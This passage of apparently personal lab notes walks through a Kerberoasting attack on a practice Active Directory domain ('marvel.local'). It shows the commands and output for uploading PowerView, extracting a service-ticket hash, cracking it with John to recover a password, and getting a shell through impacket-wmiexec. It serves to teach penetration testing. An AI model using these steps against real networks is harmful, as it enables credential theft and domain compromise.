Upload powerview

```
smb: \> cd temp
smb: \temp\> put PowerView.ps1
putting file PowerView.ps1 as \temp\PowerView.ps1 (44248.3 kb/s) (average 41790.3 kb/s)
smb: \temp\> ls
  .                                   D        0  Tue Jan 11 04:16:32 2022
  ..                                  D        0  Tue Jan 11 04:16:32 2022
  PowerView.ps1                       A   770279  Tue Jan 11 04:16:32 2022
  shell.exe                           A     7168  Tue Jan 11 03:54:27 2022

                15567697 blocks of size 4096. 10789484 blocks available
smb: \temp\>
```

Load powerview

```
PS > . .\PowerView.ps1
PS >
```

In this case, the SPN to be roasted is highlighted in red.

```
logoncount            : 0
badpasswordtime       : 1/1/1601 8:00:00 am
distinguishedname     : CN=sql service,CN=Users,DC=marvel,DC=local
objectclass           : {top, person, organizationalPerson, user}
displayname           : sql service
userprincipalname     : sqlservice@marvel.local
name                  : sql service
objectsid             : S-1-5-21-3479419130-2835237996-3084723447-1106
samaccountname        : sqlservice
admincount            : 1
codepage              : 0
samaccounttype        : USER_OBJECT
accountexpires        : NEVER
countrycode           : 0
whenchanged           : 10/1/2022 8:31:42 pm
instancetype          : 4
usncreated            : 12842
objectguid            : 8b8878f6-93bc-48d7-b084-14f098382cd8
sn                    : service
lastlogoff            : 1/1/1601 8:00:00 am
objectcategory        : CN=Person,CN=Schema,CN=Configuration,DC=marvel,DC=local
dscorepropagationdata : {10/1/2022 8:31:42 pm, 1/1/1601 12:00:00 am}
serviceprincipalname  : HYDRA-DC/sqlservice.marvel.local:60111
givenname             : sql
memberof              : {CN=Group Policy Creator Owners,OU=Groups,DC=marvel,DC=local, CN=Domain
                        Admins,OU=Groups,DC=marvel,DC=local, CN=Enterprise
Admins,OU=Groups,DC=marvel,DC=local,
                        CN=Schema Admins,OU=Groups,DC=marvel,DC=local...}
lastlogon             : 1/1/1601 8:00:00 am
badpwdcount           : 0
cn                    : sql service
useraccountcontrol    : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated           : 10/1/2022 7:32:20 pm
primarygroupid        : 513
pwdlastset            : 11/1/2022 3:32:20 am
usnchanged            : 12973



PS > get-netuser -spn
```

Get hash. Copy and paste the hash part.

```
PS > invoke-kerberoast


SamAccountName       : sqlservice
DServicePrincipalName : HYDRA-DC/sqlservice.marvel.local:60111
TicketByteHexStream  :
Hash                 : $krb5tgs$23$*sqlservice$marvel.local$HYDRA-DC/sqlservice.marvel.local:60111*$7148A8E84F42CEEF779
                       E05BCC75F823E$C857C394B72D071B5EF34CB5822D97FE7D56C803A0A0C2039576EC54ACAED10772B649B2FE39FF6385
                       1FF45E9943EAE8C51574E6E090745952C23884180B7C29F1B50AFD9D19941E5B0394187CB23CCAD6FB980B4C662230A3
                       8D921DF2DFF1A26360D1062E406AF58A96C32D0157F7B784F5A4770C24A50FF5811337E0B6933CA58B98342081E5AADA
                       CD24B0613E547BD9E05A3C6A7C8D4B6287B7E0579AB9F29BCB801C4D1DE823D68A384EFA17B2BDB47C8FF0BD6C1FAD21
                       6F399B8EAC58C5EB75FD7057C564C263F2EA777FB00FA6D0829CCF35F06216057DEFAB28CAEAE9242AF1273ACCBE1467
                       BF85EF9C2BB54721AA22EE11044F8F4600E6DCC23720BB451F5AFF1905B1166E9DC21BDA7A50F4F17A33BF7BE2852606
                       56B40FF052AEAA8540C8C5EF01B350B680A8D86DBD4F0AD1349508FD57FD3B7C603A2766F68E657BAF5BFD377B6AE03A
                       7AC15CAFD24D2D37E00D7ED1479F51103E2C957EB6165C984896103CF0C421AF6FC6AB49ACC9FF0177FEF2AD4C1CDF5D
                       9AFBC8330EB1C3F3333CB93A7A3A8D00F8C2CC9BB24FAE0F4E405969D798646B46AE3D132A52621CE132D01C18E76DDA
                       84225DF4BE1E78029E29FB2D6F5F820CAE65FD43A3779DA90AC55B106253FE65C5B6E3CF9999A1B3210884147031 3A8D
                       B3F4D37A2890067404C8C961DAB9550CB395E2FAEA129E9C03EE3B4B8E3548C803F62472C179AFE3FC91F2FC710C755A
                       9C9294B3BC73272D60960C55A4341205A5D6BB5CDFD89B850DAC875B9FF0778E74307BB4DBB7FA0CEE04B02D7BB0F07E
                       F46F46DF51DBFF50EA8DEEC40299F146F65D0D11CB35C1869018E5B295EEAB43D229E640A0E8BEF745E06A59BBDAB233
                       DF0E09AD34EC6003ACB4D6EB6F87719313A86553E9E2AD89A44FC735DD90DECC0A53FCCADF4C8A7C99CB78840CDAF9ED
                       0952493A52F8DAD3192602164353 69BEB920F3E508C7CD0AD3FDBD7D6AE6057210FB0D132AD524795D07678FE6B345E5
                       6C7743E06B66D732CFC183968A7A2F7B33C00B2C7FC4E1D664ECA1CD46D171E8BEA07925E372DA1C401336845C736347
                       507CD3A468671ACAE1BB571C1B6A20656CAAD01708FAD2E54A21DFE91F5040DD53D19B7D8D935DF728B3EB95DF94DC45
                       7DD7AF73E1E7FB1A04989693CFCC26DE601F3CFA15E0B59A9B238A89865F39C93A4191F06C1189B860002D431CE11F9B
                       EB578FD1D474A1218FB29DADAE5806173C9D23EE39A00F7D41FC6B5A3635F4D7B3ACD2C9F12C7C2071EE081090F0D92F
                       2514D28F37C2F5A4C13251D4BBAB0C129D77F4F49803A3834C766C28C91CD847EB3AFAB372B524173D9BEC228FD13DFE
                       A2202A43ABBA8E782D9D594548B5708B6E4911E1521971C3223034F6E935C7C21A996BF232730CFD67603AD78B18615C
                       1DAC9A77682A6DA6594B5D2C333DE3C2E0F003E965A45A1CAC6D1DAC6934F6A3
```

Use simple bash commands to remove spaces and newlines. Remember to remove the sqlservice portion.

```
┌──(root💀kali)-[~/tcm]
└─# cat roast.txt| tr -d ' \n' | tee tocrack.txt
$krb5tgs$23$*sqlservice$marvel.local$HYDRA-DC/sqlservice.marvel.local:60111*$7148A8E84F42CEEF779E05BCC75F823E$C857C394B72D071B5EF34CB5822D97FE7D56C803A0A0C2039576EC54ACAED10772B649B2FE39FF63851FF45E9943EAE8C51574E6E090745952C23884180B7C29F1B50AFD9D19941E5B0394187CB23CCAD6FB980B4C662230A38D921DF2DFF1A26360D1062E406AF58A96C32D0157F7B784F5A4770C24A50FF5811337E0B6933CA58B98342081E5AADACD24B0613E547BD9E05A3C6A7C8D4B6287B7E0579AB9F29BCB801C4D1DE823D68A384EFA17B2BDB47C8FF0BD6C1FAD216F399B8EAC58C5EB75FD7057C564C263F2EA777FB00FA6D0829CCF35F06216057DEFAB28CAEAE9242AF1273ACCBE1467BF85EF9C2BB54721AA22EE11044F8F4600E6DCC23720BB451F5AFF1905B1166E9DC21BDA7A50F4F17A33BF7BE285260656B40FF052AEAA8540C8C5EF01B350B680A8D86DBD4F0AD1349508FD57FD3B7C603A2766F68E657BAF5BFD377B6AE03A7AC15CAFD24D2D37E00D7ED1479F51103E2C957EB6165C984896103CF0C421AF6FC6AB49ACC9FF0177FEF2AD4C1CDF5D9AFBC8330EB1C3F3333CB93A7A3A8D00F8C2CC9BB24FAE0F4E405969D798646B46AE3D132A52621CE132D01C18E76DDA84225DF4BE1E78029E29FB2D6F5F820CAE65FD43A3779DA90AC55B106253FE65C5B6E3CF9999A1B3210884147031 3A8DB3F4D37A2890067404C8C961DAB9550CB395E2FAEA129E9C03EE3B4B8E3548C803F62472C179AFE3FC91F2FC710C755A9C9294B3BC73272D60960C55A4341205A5D6BB5CDFD89B850DAC875B9FF0778E74307BB4DBB7FA0CEE04B02D7BB0F07EF46F46DF51DBFF50EA8DEEC40299F146F65D0D11CB35C1869018E5B295EEAB43D229E640A0E8BEF745E06A59BBDAB233DF0E09AD34EC6003ACB4D6EB6F87719313A86553E9E2AD89A44FC735DD90DECC0A53FCCADF4C8A7C99CB78840CDAF9ED0952493A52F8DAD3192602164353 69BEB920F3E508C7CD0AD3FDBD7D6AE6057210FB0D132AD524795D07678FE6B345E56C7743E06B66D732CFC183968A7A2F7B33C00B2C7FC4E1D664ECA1CD46D171E8BEA07925E372DA1C401336845C736347507CD3A468671ACAE1BB571C1B6A20656CAAD01708FAD2E54A21DFE91F5040DD53D19B7D8D935DF728B3EB95DF94DC457DD7AF73E1E7FB1A04989693CFCC26DE601F3CFA15E0B59A9B238A89865F39C93A4191F06C1189B860002D431CE11F9BEB578FD1D474A1218FB29DADAE5806173C9D23EE39A00F7D41FC6B5A3635F4D7B3ACD2C9F12C7C2071EE081090F0D92F2514D28F37C2F5A4C13251D4BBAB0C129D77F4F49803A3834C766C28C91CD847EB3AFAB372B524173D9BEC228FD13DFEA2202A43ABBA8E782D9D594548B5708B6E4911E1521971C3223034F6E935C7C21A996BF232730CFD67603AD78B18615C1DAC9A77682A6DA6594B5D2C333DE3C2E0F003E965A45A1CAC6D1DAC6934F6A3

┌──(root💀kali)-[~/tcm]
└─# vi tocrack.txt

┌──(root💀kali)-[~/tcm]
└─# cat tocrack.txt
$krb5tgs$23$7148A8E84F42CEEF779E05BCC75F823E$C857C394B72D071B5EF34CB5822D97FE7D56C803A0A0C2039576EC54ACAED10772B649B2FE39FF63851FF45E9943EAE8C51574E6E090745952C23884180B7C29F1B50AFD9D19941E5B0394187CB23CCAD6FB980B4C662230A38D921DF2DFF1A26360D1062E406AF58A96C32D0157F7B784F5A4770C24A50FF5811337E0B6933CA58B98342081E5AADACD24B0613E547BD9E05A3C6A7C8D4B6287B7E0579AB9F29BCB801C4D1DE823D68A384EFA17B2BDB47C8FF0BD6C1FAD216F399B8EAC58C5EB75FD7057C564C263F2EA777FB00FA6D0829CCF35F06216057DEFAB28CAEAE9242AF1273ACCBE1467BF85EF9C2BB54721AA22EE11044F8F4600E6DCC23720BB451F5AFF1905B1166E9DC21BDA7A50F4F17A33BF7BE285260656B40FF052AEAA8540C8C5EF01B350B680A8D86DBD4F0AD1349508FD57FD3B7C603A2766F68E657BAF5BFD377B6AE03A7AC15CAFD24D2D37E00D7ED1479F51103E2C957EB6165C984896103CF0C421AF6FC6AB49ACC9FF0177FEF2AD4C1CDF5D9AFBC8330EB1C3F3333CB93A7A3A8D00F8C2CC9BB24FAE0F4E405969D798646B46AE3D132A52621CE132D01C18E76DDA84225DF4BE1E78029E29FB2D6F5F820CAE65FD43A3779DA90AC55B106253FE65C5B6E3CF9999A1B3210884147031 3A8DB3F4D37A2890067404C8C961DAB9550CB395E2FAEA129E9C03EE3B4B8E3548C803F62472C179AFE3FC91F2FC710C755A9C9294B3BC73272D60960C55A4341205A5D6BB5CDFD89B850DAC875B9FF0778E74307BB4DBB7FA0CEE04B02D7BB0F07EF46F46DF51DBFF50EA8DEEC40299F146F65D0D11CB35C1869018E5B295EEAB43D229E640A0E8BEF745E06A59BBDAB233DF0E09AD34EC6003ACB4D6EB6F87719313A86553E9E2AD89A44FC735DD90DECC0A53FCCADF4C8A7C99CB78840CDAF9ED0952493A52F8DAD3192602164353 69BEB920F3E508C7CD0AD3FDBD7D6AE6057210FB0D132AD524795D07678FE6B345E56C7743E06B66D732CFC183968A7A2F7B33C00B2C7FC4E1D664ECA1CD46D171E8BEA07925E372DA1C401336845C736347507CD3A468671ACAE1BB571C1B6A20656CAAD01708FAD2E54A21DFE91F5040DD53D19B7D8D935DF728B3EB95DF94DC457DD7AF73E1E7FB1A04989693CFCC26DE601F3CFA15E0B59A9B238A89865F39C93A4191F06C1189B860002D431CE11F9BEB578FD1D474A1218FB29DADAE5806173C9D23EE39A00F7D41FC6B5A3635F4D7B3ACD2C9F12C7C2071EE081090F0D92F2514D28F37C2F5A4C13251D4BBAB0C129D77F4F49803A3834C766C28C91CD847EB3AFAB372B524173D9BEC228FD13DFEA2202A43ABBA8E782D9D594548B5708B6E4911E1521971C3223034F6E935C7C21A996BF232730CFD67603AD78B18615C1DAC9A77682A6DA6594B5D2C333DE3C2E0F003E965A45A1CAC6D1DAC6934F6A3
```

Password for sqlservice

```
┌──(root💀kali)-[~/tcm]
└─# john -w:./mydict.txt tocrack.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssw0rd5        (?)
1g 0:00:00:00 DONE (2022-01-11 04:48) 100.0g/s 11100p/s 11100c/s 11100C/s P@ssw0rd0..P@ssw0rd
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Method 2

```
PS > invoke-kerberoast -outputformat hashcat | % { $_.Hash } | out-file -encoding ascii sqlservice.txt
PS > type sqlservice.txt
$krb5tgs$23$*sqlservice$marvel.local$HYDRA-DC/sqlservice.marvel.local:60111*$7148A8E84F42CEEF779E05BCC75F823E$C857C394B72D071B5EF34CB5822D97FE7
D56C803A0A0C2039576EC54ACAED10772B649B2FE39FF63851FF45E9943EAE8C51574E6E090745952C23884180B7C29F1B50AFD9D19941E5B0394187CB23CCAD6FB980B4C662230
A38D921DF2DFF1A26360D1062E406AF58A96C32D0157F7B784F5A4770C24A50FF5811337E0B6933CA58B98342081E5AADACD24B0613E547BD9E05A3C6A7C8D4B6287B7E0579AB9F
29BCB801C4D1DE823D68A384EFA17B2BDB47C8FF0BD6C1FAD216F399B8EAC58C5EB75FD7057C564C263F2EA777FB00FA6D0829CCF35F06216057DEFAB28CAEAE9242AF1273ACCBE
1467BF85EF9C2BB54721AA22EE11044F8F4600E6DCC23720BB451F5AFF1905B1166E9DC21BDA7A50F4F17A33BF7BE285260656B40FF052AEAA8540C8C5EF01B350B680A8D86DBD4
F0AD1349508FD57FD3B7C603A2766F68E657BAF5BFD377B6AE03A7AC15CAFD24D2D37E00D7ED1479F51103E2C957EB6165C984896103CF0C421AF6FC6AB49ACC9FF0177FEF2AD4C
1CDF5D9AFBC8330EB1C3F3333CB93A7A3A8D00F8C2CC9BB24FAE0F4E405969D798646B46AE3D132A52621CE132D01C18E76DDA84225DF4BE1E78029E29FB2D6F5F820CAE65FD43A
3779DA90AC55B106253FE65C5B6E3CF9999A1B3210884170313A8DB3F4D37A2890067404C8C961DAB9550CB395E2FAEA129E9C03EE3B4B8E3548C803F62472C179AFE3FC91F2FC
710C755A9C9294B3BC73272D60960C55A4341205A5D6BB5CDFD89B850DAC875B9FF0778E74307BB4DBB7FA0CEE04B02D7BB0F07EF46F46DF51DBFF50EA8DEEC40299F146F65D0D1
1CB35C1869018E5B295EEAB43D229E640A0E8BEF745E06A59BBDAB233DF0E09AD34EC6003ACB4D6EB6F87719313A86553E9E2AD89A44FC735DD90DECC0A53FCCADF4C8A7C99CB78
840CDAF9ED0952493A52F8DAD3192602164353 69BEB920F3E508C7CD0AD3FDBD7D6AE6057210FB0D132AD524795D07678FE6B345E56C7743E06B66D732CFC183968A7A2F7B33C00
B2C7FC4E1D664ECA1CD46D171E8BEA07925E372DA1C401336845C736347507CD3A468671ACAE1BB571C1B6A20656CAAD01708FAD2E54A21DFE91F5040DD53D19B7D8D935DF728B3
EB95DF94DC457DD7AF73E1E7FB1A04989693CFCC26DE601F3CFA15E0B59A9B238A89865F39C93A4191F06C1189B860002D431CE11F9BEB578FD1D474A1218FB29DADAE5806173C9
D23EE39A00F7D41FC6B5A3635F4D7B3ACD2C9F12C7C2071EE081090F0D92F2514D28F37C2F5A4C13251D4BBAB0C129D77F4F49803A3834C766C28C91CD847EB3AFAB372B524173D
9BEC228FD13DFEA2202A43ABBA8E782D9D594548B5708B6E4911E1521971C3223034F6E935C7C21A996BF232730CFD67603AD78B18615C1DAC9A77682A6DA6594B5D2C333DE3C2E
0F003F965A45A1CAC6D1DAC6934F6A3
```

Confirmed able to login.

```
┌──(root💀kali)-[~/tcm]
└─# impacket-wmiexec marvel/sqlservice:'P@ssw0rd5'@192.168.101.141
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
marvel\sqlservice

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
```